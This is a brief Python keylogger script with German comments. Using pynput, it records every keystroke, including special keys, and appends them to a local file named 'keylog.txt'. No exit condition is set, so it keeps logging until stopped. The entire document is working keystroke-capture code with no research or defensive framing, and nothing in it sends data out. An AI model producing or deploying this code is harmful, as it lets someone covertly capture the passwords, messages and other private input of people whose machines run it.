from pynput.keyboard import Listener # Dateiname für das Speichern der geloggten Tasten log_file = "keylog.txt" # Funktion zum Schreiben der Tasten in die Datei def write_to_file(key): try: with open(log_file, "a") as file: if hasattr(key, 'char') and key.char is not None: # Normale Zeichen file.write(key.char) else: # Sondertasten (wie Shift, Enter) file.write(f" [{key}] ") except Exception as e: # Fehler beim Schreiben in die Datei werden ausgegeben print(f"Fehler: {e}") # Funktion für Tastendruck (on_press) def on_press(key): write_to_file(key) # Funktion für Tasten loslassen (on_release) def on_release(key): pass # Kein automatisches Beenden # Startet den Listener with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()